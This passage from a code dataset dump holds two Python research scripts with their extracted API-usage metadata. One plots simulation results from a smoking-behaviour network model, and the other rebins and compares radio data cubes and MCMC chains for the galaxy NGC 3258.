"call"}, {"api_name": "numpy.where", "line_number": 482, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 501, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 529, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 546, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 564, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 568, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 586, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 590, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 636, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 637, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 648, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 650, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 663, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 666, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 690, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 690, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 691, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 691, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 692, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 692, "usage_type": "name"}, {"api_name": "scipy.misc.imsave", "line_number": 693, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 693, "usage_type": "name"}]} {"seq_id": "354099846", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\npycopanbehave -- An adaptive network mode of behaviour selection in Python\n\nCopyright (C) 2011--2016 Potsdam Institute for Climate Impact Research\nAuthors: Jonathan F. Donges ,\n Carl-Friedrich Schleussner ,\n Denis Engemann \nURL: \n\nPLOT SCRIPTS\n\"\"\"\n\n#\n# Imports\n#\n\nimport os.path as op\nimport os\nimport pickle\n\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n#\n# Initializations\n#\n\ninput_file = 'full_trans_smok.pkl'\n# input_file='trans_smok_output_full.pkl'\nwith open(input_file) as w:\n data = pickle.load(w)\n\nif not os.path.isdir('figures'):\n os.mkdir('figures')\n\nto_plot = [1, 2, 3]\nset_titles = False\nsmokers = data['no_of_smokers']\ndecim = 1\nci = 66\nn_smokers = 1000.\nstart_time = 0.\nn_xticks = [0, 200, 400, 600, 790]\nma_window_size = 30\nkeys = ['full', 'dyn', 'infl', 'mean_field']\nmapping = dict(zip(keys, ['coupled', 'network', 'interaction', 'mean-field']))\ncolors_context = \"#55247A\", \"#3368A5\", \"#D33C3E\", '#37442A'\ncolor_smoker = '#A44791'\ncolor_nonsmoker = '#BECD00'\nsns.set(style='ticks', context='poster', font_scale=1.4)\nmy_gray = '#6e6a6a'\n\nplt.rcParams.update({k: my_gray for k in (\n 'axes.labelcolor',\n 'axes.edgecolor',\n 'text.color',\n 'xtick.color',\n 'ytick.color'\n)})\n\nplt.rcParams.update({k: 2.2 for k in (\n 'axes.linewidth',\n 'ytick.major.width',\n 'xtick.major.width'\n)})\n\n#\n# DEFINE PLOTTING FUNCTIONS\n#\n\n\ndef moving_average(values, window, axis):\n \"\"\"\n Add docstring!\n \"\"\"\n weights = np.repeat(1.0, window) / window\n sma = np.apply_along_axis(\n lambda m: np.convolve(m, weights, mode='valid'), arr=values, axis=axis)\n return sma\n\n\ndef preprocess_array(X):\n \"\"\"\n Add docstring!\n \"\"\"\n return moving_average(np.transpose(X, (1, 2, 0)), ma_window_size, 1)\n\n\ndef rescale(x, axis, method='percent'):\n \"\"\"\n Add docstring!\n \"\"\"\n if method == 'divide':\n x = x / x[:, 0:2, :]\n elif method == 'percent':\n x = (x - x[:, 0:1, :]) / x[:, 0:1, :]\n # x = (x - x[:, 0:20, :].mean(axis=1)) / x[:, 0:20, :].mean(axis=1)\n x *= 100\n return x\n\n#\n# MAIN PLOTTING SCRIPT\n#\n\n\n# FIGURE 1\nif 1 in to_plot:\n X = [np.asarray(smokers[k])[:1000, start_time:] for k in keys]\n X = preprocess_array(X)\n X /= n_smokers\n\n times = np.arange(X.shape[1])\n\n fig = plt.figure()\n for i, (key, color) in enumerate(zip(keys, colors_context)):\n sns.tsplot(X[::decim, :, i:i + 1], color=color,\n condition=mapping[key])\n\n plt.xlabel('Time [AU]')\n plt.xticks(n_xticks)\n plt.xlim(0, max(n_xticks))\n plt.ylabel('Proportion of smokers')\n if set_titles:\n plt.title('Evolution of Smoking prevalence')\n sns.despine(offset=10, trim=True)\n plt.gca().set_xticklabels(np.linspace(0, 1, len(n_xticks)))\n plt.subplots_adjust(bottom=0.15)\n plt.show()\n fig.savefig(op.join('figures', 'n_smokers-%i.png' % ci), dpi=300)\n\n####################\n# FIGURE 2\nif 2 in to_plot:\n\n centrality = data['centrality']\n centrality_smoker = np.array([\n np.asarray(centrality['smoker'][k])[:1000, start_time:] for k in keys])\n centrality_nosmoker = np.array([\n np.asarray(centrality['non_smoker'][k])[:1000, start_time:]\n for k in keys])\n centrality_smoker = rescale(preprocess_array(centrality_smoker), axis=1)\n centrality_nosmoker = rescale(preprocess_array(centrality_nosmoker),\n axis=1)\n centrality_diff = centrality_smoker - centrality_nosmoker\n\n fig, axes = plt.subplots(1, 2, figsize=(12, 8), sharex=True, sharey=True)\n ax1, ax2 = axes.ravel()\n ax1.set_xlim(0, max(n_xticks))\n ax2.set_xlim(0, max(n_xticks))\n ax1.set_ylim(-40, 30)\n ax2.set_ylim(-40, 30)\n ax1.text(20, 27, 'a', weight='bold', fontsize=24)\n ax2.text(20, 27, 'b', weight='bold', fontsize=24)\n\n X = centrality_smoker\n for i, (key, color) in enumerate(zip(keys, colors_context)):\n sns.tsplot(X[::decim, :, i:i + 1],\n color=color, condition=mapping[key], ax=ax1, ci=[95, ci],\n legend=False)\n if set_titles:\n fig.suptitle('Evolution of eigenvector centrality', fontsize=32)\n\n plt.xticks(n_xticks)\n # if set_titles:\n ax1.set_title('smokers')\n ax1.set_xlabel('Time [AU]')\n ax1.set_ylabel('Relative change in centrality [percent]')\n ax1.set_xlim(0, max(n_xticks))\n\n X = centrality_nosmoker\n for i, (key, color) in enumerate(zip(keys, colors_context)):\n sns.tsplot(X[::decim, :, i:i + 1],\n color=color, condition=mapping[key], ax=ax2, ci=[95, ci],\n legend=True)\n\n plt.xticks(n_xticks)\n ax2.set_xticklabels(np.linspace(0, 1, len(n_xticks)))\n # if set_titles:\n ax2.set_title('non-smokers')\n ax2.set_xlabel('Time [AU]')\n ax2.set_xlim(0, max(n_xticks))\n\n sns.despine(offset=10, trim=True)\n plt.subplots_adjust(bottom=0.15, top=.85, right=.96, left=0.14, wspace=.27)\n plt.show()\n fig.savefig(op.join('figures', 'centrality_smokers--%i.png' % ci), dpi=300)\n\n####################\n# FIGURE 3\n\nX = np.array([np.asarray(data['conditional_prob'][k])[:1000, start_time:, :]\n for k in keys])\nX = np.transpose(X, (-1, 1, 2, 0))\nX = moving_average(X, ma_window_size, axis=2)\n\nif 3 in to_plot:\n fig, axes = plt.subplots(2, 2, figsize=(16, 12), sharex=False,\n sharey=False)\n axes = axes.ravel()\n n_yticks = [0, 200, 400, 700]\n for i, (key, color) in enumerate(zip(keys, colors_context)):\n ax = axes[i]\n ax.set_ylim(-100, 700)\n ax.text(50, 710, 'abcd'[i], weight='bold', fontsize=24)\n for degree, (x, subcolor) in enumerate(\n zip(X,\n sns.light_palette(color, len(X))[::-1]), 1):\n sns.tsplot(rescale(x[::decim, :, i:i + 1] + 1, axis=1),\n color=subcolor, condition='degree %i' % degree,\n ax=ax, ci=ci)\n # plt.xticks(times, times[::1000])\n if i == 0:\n ax.set_ylabel('Relative change in CP [percent]', labelpad=10)\n ax.set_title(mapping[key])\n ax.set_xlim(0, max(n_xticks))\n ax.set_xticks(n_xticks)\n if i in (1, 3):\n ax.set_ylabel('')\n ax.set_yticks(n_yticks, ['', '', '', ''])\n if i in (0, 1):\n ax.set_xlabel('')\n ax.set_yticks(n_yticks, ['', '', '', ''])\n if i in (2, 3):\n ax.set_xlabel('Time [AU]')\n ax.set_xticklabels(np.linspace(0, 1, len(n_xticks)))\n\n if set_titles:\n fig.suptitle('Conditional probability of smoking', fontsize=32)\n sns.despine(offset=10, trim=True)\n plt.subplots_adjust(left=0.1, bottom=0.15, right=0.97, top=0.86,\n wspace=.41, hspace=.41)\n fig.show()\n fig.savefig(op.join('figures', 'conditional_prob_all-%i.png' % ci),\n dpi=300)\n# fig.savefig(op.join('figures', 'conditional_prob_all.png'))\n", "sub_path": "manuscript_plot_scripts/plot_manuscript_figures.py", "file_name": "plot_manuscript_figures.py", "file_ext": "py", "file_size_in_byte": 7127, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pickle.load", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 38, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 65, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.repeat", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.apply_along_axis", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "seaborn.tsplot", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "seaborn.tsplot", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "seaborn.tsplot", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 181, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "seaborn.light_palette", "line_number": 211, "usage_type": "call"}, {"api_name": "seaborn.tsplot", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 229, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "name"}]} {"seq_id": "558169797", "text": "import numpy as np\nfrom astropy.io import fits\nfrom scipy import integrate\nimport matplotlib.pyplot as plt\n\n\ndef blockshaped(arr, nrow, ncol): # CONFIRMED\n h, w = arr.shape\n return arr.reshape(h // nrow, nrow, -1, ncol).swapaxes(1, 2).reshape(-1, nrow, ncol)\n\n\ndef rebin(data, n):\n rebinned = []\n for z in range(len(data)):\n subarrays = blockshaped(data[z, :, :], n, n) # bin the data in groups of nxn (4x4) pixels\n # each pixel in the new, rebinned data cube is the mean of each 4x4 set of original pixels\n # reshaped = np.mean(np.mean(subarrays, axis=-1), axis=-1).reshape((int(len(data[0]) / 4.),\n # int(len(data[0][0]) / 4.)))\n reshaped = n**2 * np.mean(np.mean(subarrays, axis=-1), axis=-1).reshape((int(len(data[0]) / n),\n int(len(data[0][0]) / n)))\n rebinned.append(reshaped)\n print('rebinned')\n return np.asarray(rebinned)\n\n\ndef compare(data, model, z_ax, inds_to_try2, v_sys, n):\n data_4 = rebin(data, n)\n ap_4 = rebin(model, n)\n\n for i in range(len(inds_to_try2)):\n print(inds_to_try2[i][0], inds_to_try2[i][1])\n plt.plot(z_ax, ap_4[:, inds_to_try2[i][1], inds_to_try2[i][0]], 'r+', label=r'Model') # r-\n plt.plot(z_ax, data_4[:, inds_to_try2[i][1], inds_to_try2[i][0]], 'b+', label=r'Data') # b:\n plt.axvline(x=v_sys, color='k', label=r'v$_{\\text{sys}}$')\n # plt.title(str(inds_to_try2[i][0]) + ', ' + str(inds_to_try2[i][1])) # ('no x,y offset')\n plt.legend()\n plt.xlabel(r'Frequency [GHz]')\n plt.ylabel(r'Flux Density [Jy/beam]')\n plt.show()\n plt.close()\n\n\nif __name__ == \"__main__\":\n\n base = '/Users/jonathancohn/Documents/dyn_mod/'\n\n import pickle\n\n import dyn_model as dm\n params, priors = dm.par_dicts(base + 'param_files/ngc_3258bl_params.txt', q=False) # get dicts of params and file names from parameter file\n\n ax_lab = [r'$\\log_{10}$(M$_{\\odot}$)', 'deg', 'deg', 'pixels', 'pixels', 'km/s', 'km/s', 'km/s', 'pc', 'pc', 'unitless', r'M$_{\\odot}$/L$_{\\odot}$']\n pars = ['mbh', 'inc', 'PAdisk', 'xloc', 'yloc', 'vsys', 'sig1', 'sig0', 'mu', 'r0', 'f', 'ml_ratio']\n for par in range(len(pars)):\n chains = 'emcee_out/flatchain_' + pars[par] + '_100_1_50.pkl'\n\n with open(base + chains, 'rb') as pk:\n u = pickle._Unpickler(pk)\n u.encoding = 'latin1'\n chain = u.load()\n\n if pars[par] == 'mbh':\n plt.hist(np.log10(chain), 100, color=\"k\", histtype=\"step\") # axes[i]\n percs = np.percentile(np.log10(chain), [16., 50., 84.])\n plt.axvline(np.log10(params[pars[par]]), ls='-', color='k')\n else:\n plt.hist(chain, 100, color=\"k\", histtype=\"step\") # axes[i]\n percs = np.percentile(chain, [16., 50., 84.])\n print(params[pars[par]])\n plt.axvline(params[pars[par]], ls='-', color='k')\n\n plt.axvline(percs[1], ls='-', color='b') # axes[i]\n plt.axvline(percs[0], ls='--', color='b') # axes[i]\n plt.axvline(percs[2], ls='--', color='b') #\n plt.tick_params('both', labelsize=16)\n plt.xlabel(ax_lab[par])\n # plt.title(\"Dimension {0:d}\".format(i))\n plt.title(pars[par] + ': ' + str(round(percs[1],4)) + ' (+'\n + str(round(percs[2] - percs[1], 2)) + ', -'\n + str(round(percs[1] - percs[0], 2)) + ')', fontsize=16)\n plt.show()\n print(oop)\n\n\n # hdu = fits.open(base + 'NGC_1332_newfiles/NGC1332_CO21_C3_MS_bri_20kms.pbcor.fits')\n hdu = fits.open(base + 'ngc_3258/ngc3258_CO21_bri.pbcor.fits')\n data_in = hdu[0].data[0]\n z_len = len(data_in) # store the number of velocity slices in the data cube\n freq1 = float(hdu[0].header['CRVAL3'])\n f_step = float(hdu[0].header['CDELT3'])\n # f_0 = 2.305380000000e11 # 2.29369132e11 # intrinsic frequency of CO(2-1) line # 2.30538e11\n f_0 = float(hdu[0].header['RESTFRQ'])\n hdu.close()\n freq_axis = np.arange(freq1, freq1 + (z_len * f_step), f_step) # [bluest, less blue, ..., reddest]\n # freq_axis = freq_axis[:-1]\n # print(freq_axis[0], freq_axis[-1]) # 2.29909, 2.28777 [e11]\n v_sys = 2760.76 # 1562.2 # km/s\n z_ax = np.asarray([((f_0 - freq) / freq) * (3.*10**5) for freq in freq_axis]) # v_opt, km/s\n # print(z_ax)\n # print(oop)\n\n # hdu = fits.open(base + 'ngc1332_things/NGC_1332_fullsize_idl_n5_beam31_s1.fits')\n # idl_out = hdu[0].data\n # hdu.close()\n\n # hdu = fits.open(base + 'ngc1332_things/NGC_1332_fullsize_filtconv_n5_beam31_s1.fits')\n # filt_out = hdu[0].data\n # hdu.close()\n\n # hdu = fits.open(base + 'NGC_1332_fullsize_apconv_n5_beam31fwhm_s1_weightdiv_corrsig.fits') # _zred\n # hdu = fits.open(base + 'NGC_1332_fullsize_apconv_n5_beam31fwhm_s1.fits')\n # hdu = fits.open(base+ 'NGC_1332_freqcube_summed_apconv_n5_beam31fwhm_s1.fits')\n # hdu = fits.open(base + 'NGC_1332_freqcube_summed_apconv_n5_beam31fwhm_spline_s1.fits')\n # hdu = fits.open(base + 'outputs/NGC_3258_general_7.42_2386000000.0_1.02_166.8_354.89_362.04_-0.46_4.75_2760.76_0.14_3.16_46.0__benlucycorr.fits')\n # hdu = fits.open(base + 'outputs/NGC_3258_general_7.42_3.16_2386000000.0_1.02_166.8_2760.76_-0.46_4.75_0.14_362.04_354.89_46.0__pcscale.fits')\n # hdu = fits.open(base + 'outputs/NGC_3258_general_7.42_2386000000.0_1.02_166.8_354.89_362.04_-0.46_4.75_2760.76_0.14_3.16_46.0__subcube.fits')\n # hdu = fits.open(base + 'outputs/NGC_3258_general_7.42_2386000000.0_1.02_166.8_354.89_362.04_-0.46_4.75_2760.76_0.14_3.16_46.0__subcube_ellmask_bl2.fits')\n hdu = fits.open(base + 'outputs/NGC_3258_general_7.42_2386000000.0_1.02_166.8_354.89_362.04_-0.46_4.75_2760.76_0.14_3.16_46.0__subcube_ellmask_bl2_noell.fits')\n # hdu = fits.open(base + 'outputs/ngc_3258_benlucy_outcube.fits')\n\n ap_out = hdu[0].data\n hdu.close()\n\n hdu = fits.open('/Users/jonathancohn/Documents/dyn_mod/outputs/NGC_3258_fitting_ellipse.fits')\n ell_fits = hdu[0].data\n hdu.close()\n\n plt.imshow(ell_fits, origin='lower')\n plt.colorbar()\n plt.show()\n\n print(ap_out.shape)\n print(data_in.shape)\n data_in = data_in[39:85, 310:410, 310:410]\n print(data_in.shape)\n\n data_in *= ell_fits\n ap_out *= ell_fits\n\n idx = 59 # 26\n idx = 20\n print(np.amin((ap_out[idx] - data_in[idx])/data_in[idx]), np.amax((ap_out[idx] - data_in[idx])/data_in[idx]),\n np.median((ap_out[idx] - data_in[idx])/data_in[idx]))\n plt.imshow((ap_out[idx] - data_in[idx])/data_in[idx], origin='lower')\n # plt.imshow((idl_out[26] - data_in[26])/data_in[26], origin='lower')\n plt.colorbar()\n # plt.xlim(700,750)\n # plt.ylim(720,750)\n # plt.plot(848, 720, 'w*')\n plt.show()\n # print(oop)\n plt.imshow(data_in[idx], origin='lower')\n plt.colorbar()\n # plt.plot(848, 720, 'w*')\n plt.show()\n\n data_4 = rebin(data_in, 4)\n # idl_4 = rebin(idl_out, 4)\n # filt_4 = rebin(filt_out)\n ap_4 = rebin(ap_out, 4)\n\n # CREATED ONCE\n # hdu = fits.PrimaryHDU(data_4)\n # hdul = fits.HDUList([hdu])\n # hdul.writeto(base + 'NGC_1332_newfiles/NGC1332_CO21_C3_MS_bri_20kms_bin4x4.pbcor.fits')\n\n '''\n # UNCOMMENT THIS LATER\n hdu = fits.PrimaryHDU(ap_4)\n hdul = fits.HDUList([hdu])\n hdul.writeto(base + 'outputs/NGC_3258_general_4x4binned.fits')\n # hdul.writeto(base + 'NGC_1332_freqcube_summed_apconv_n5_beam31fwhm_spline_s1_4x4binned.fits')\n # hdul.writeto(base + 'NGC_1332_freqcube_summed_apconv_n5_beam31fwhm_s1_4x4binned.fits')\n \n hdu = fits.PrimaryHDU(data_4 - ap_4)\n hdul = fits.HDUList([hdu])\n hdul.writeto(base + 'NGC_3258_data_minus_freqcube_4x4binned.fits')\n '''\n # hdul.writeto(base + 'NGC_1332_data_minus_freqcube_spline_4x4binned.fits')\n # print(oops)\n #hdu = fits.PrimaryHDU(data_4 - ap_4)\n #hdul = fits.HDUList([hdu])\n #hdul.writeto('data_minus_apconv_4x4_fixed.fits')\n # print(oop)\n # 212, 180 --> 212*4\n # x=2 --> x_0 = 2, 3\n # x=2, n=4 --> x_0 = 4,5,6,7 = (x-1)*n\n # x=4, n=4 --> x_0 = 12,13,14,15 = (x-1)*n:(x*n) = 12:16 YAY!\n # y\n # 3, 4 (n=2): [(3/2):(3+1)/2] 22 23 32 33\n # 0, 0 (n=2): [(0/2):(0/2)+1] 00, 01, 10, 11\n\n #plt.imshow(idl_4[23], origin='lower')\n #plt.colorbar()\n #plt.plot(212, 180, 'w*')\n #plt.show()\n print(ap_4.shape, data_4.shape)\n chi_sq_num = 0.\n for z in range(len(data_4)):\n chi_sq_num += np.sum((ap_4[z] - data_4[z]) ** 2)\n print(chi_sq_num) # ~ -1160 for take2, ~7.2 for pcscale. Good?\n\n # inds_to_try2 = np.asarray([[212, 180], [159, 159], [165, 155], [155, 165], [160, 160], [170, 170], [155, 155], [165, 165]])\n # inds_to_try2 = np.asarray([[178, 178], [200, 172], [168, 155], [155, 168], [135, 140], [125, 150]])\n # inds_to_try2 = np.asarray([[89, 92], [95, 89], [92, 92], [91, 86]]) # red side, blue side, center top, center bot\n inds_to_try2 = np.asarray([[10,10], [10,15], [15,10]])\n\n for i in range(len(inds_to_try2)):\n print(inds_to_try2[i][0], inds_to_try2[i][1])\n\n '''\n data_full = []\n for ii in range((inds_to_try2[i][1])*4,((inds_to_try2[i][1]+1)*4)):\n for jj in range((inds_to_try2[i][0])*4, ((inds_to_try2[i][0]+1)*4)):\n data_full.append(data_in[:, ii, jj])\n data_full = np.asarray(data_full)\n # print(data_full.shape) # 4x4 x 75 --> 16, 75\n \n data_stack = np.zeros(shape=(data_full[0].shape))\n for l in range(len(data_full)):\n # plt.plot(z_ax, data_full[l], 'k--') # confirmed\n data_stack += data_full[l]\n # plt.plot(z_ax, data_stack, 'g--') # confirmed identical to how Data is calculated\n '''\n plt.plot(z_ax[39:85], ap_4[:, inds_to_try2[i][1], inds_to_try2[i][0]], 'r-', label=r'Astropy conv') # ap_out # 0.01217/.00031 *\n # / np.amax(ap_out[:, inds_to_try2[i][1], inds_to_try2[i][0]]), 'r-', label=r'Astropy conv')\n # plt.plot(z_ax, idl_out[:, inds_to_try2[i][1], inds_to_try2[i][0]], 'k--', label=r'IDL conv') # idl_out\n # / np.amax(idl_out[:, inds_to_try2[i][1], inds_to_try2[i][0]]), 'k--', label=r'IDL conv')\n # plt.plot(z_ax, filt_out[:, inds_to_try2[i][1], inds_to_try2[i][0]], 'b:', label=r'Scipy conv')\n # / np.amax(filt_out[:, inds_to_try2[i][1], inds_to_try2[i][0]]), 'b:', label=r'Scipy conv')\n plt.plot(z_ax[39:85], data_4[:, inds_to_try2[i][1], inds_to_try2[i][0]], 'b:', label=r'Data') # data_in\n plt.axvline(x=v_sys, color='k')\n plt.title(str(inds_to_try2[i][0]) + ', ' + str(inds_to_try2[i][1])) # ('no x,y offset')\n plt.legend()\n plt.show()\n # base = '/Users/jonathancohn/Documents/dyn_mod/lps/sum_div_filtconv_' # div_'\n # plt.savefig(base + 'newfiles_lp_s' + str(s) + '_' + str(inds_to_try2[i][0]) + '_' + str(inds_to_try2[i][1]))\n plt.close()\n print(oop)\n\n ''' #\n idl_filt = []\n idl_ap = []\n for z in range(len(idl_out)):\n print(z)\n idl_filt.append((idl_out[z] - filt_out[z]))\n idl_ap.append((idl_out[z] - ap_out[z]))\n if 35 < z < 39:\n plt.imshow(idl_filt[z], origin='lower')\n plt.colorbar()\n plt.show()\n \n plt.imshow(idl_ap[z], origin='lower')\n plt.colorbar()\n plt.show()\n \n idl_filt = np.asarray(idl_filt)\n idl_ap = np.asarray(idl_ap)\n \n idl_filt_coll = integrate.simps(idl_filt, axis=0)\n idl_ap_coll = integrate.simps(idl_ap, axis=0)\n \n plt.imshow(idl_filt_coll, origin='lower')\n plt.colorbar()\n plt.show()\n \n plt.imshow(idl_ap_coll, origin='lower')\n plt.colorbar()\n plt.show()\n print(oops)\n # ''' #\n\n obs3d = np.asarray([[1., 2., 3., 4.], [1., 2., 3., 4.], [5., 6., 7., 8.], [9., 10., 11., 12.]])\n s = 2\n print(obs3d.shape)\n\n '''\n subarrays = blockshaped(obs3d[:, :], 4, 4) # bin the data in groups of 4x4 pixels\n # data[z, ::-1, :] flips the y-axis, which is stored in python in the reverse order (problem.png)\n \n # Take the mean along the first axis of each subarray in subarrays, then take the mean along the\n # other (s-length) axis, such that what remains is a 1d array of the means of the sxs subarrays. Then reshape\n # into the correct lengths\n reshaped = np.mean(np.mean(subarrays, axis=-1), axis=-1).reshape((int(len(data[0])/4.),\n int(len(data[0][0])/4.)))\n reshaped_m = np.mean(np.mean(subarrays_m, axis=-1), axis=-1).reshape((int(len(mask[0])/4.),\n int(len(mask[0][0])/4.)))\n rebinned.append(reshaped)\n rebinned_m.append(reshaped_m)\n print(\"Rebinning the cube done in {0} s\".format(time.time() - t_rebin)) # 0.5 s\n '''\n\n intrinsic_cube = [] # np.zeros(shape=(len(z_ax), len(fluxes), len(fluxes[0])))\n # break each (s*len(realx), s*len(realy))-sized velocity slice of obs3d into an array comprised of sxs subarrays\n # i.e. break the 300s x 300s array into blocks of sxs arrays, so that I can take the means of each block\n subarrays = blockshaped(obs3d[:, :], s, s)\n\n print('sub:')\n print(subarrays)\n\n # Take the mean along the first (s-length) axis of each subarray in subarrays, then take the mean along the\n # other (s-length) axis, such that what remains is a 1d array of the means of the sxs subarrays. Then reshape\n # into the correct real x_pixel by real y_pixel lengths\n reshaped = s**2 * np.mean(np.mean(subarrays, axis=-1), axis=-1).reshape((2, 2))\n reshaped2 = np.sum(np.sum(subarrays, axis=-1), axis=-1).reshape((2, 2))\n print('reshape:')\n print(reshaped)\n\n print('reshaped2:')\n print(reshaped2)\n", "sub_path": "test_dyn_funcs.py", "file_name": "test_dyn_funcs.py", "file_ext": "py", "file_size_in_byte": 13981, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.mean", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": 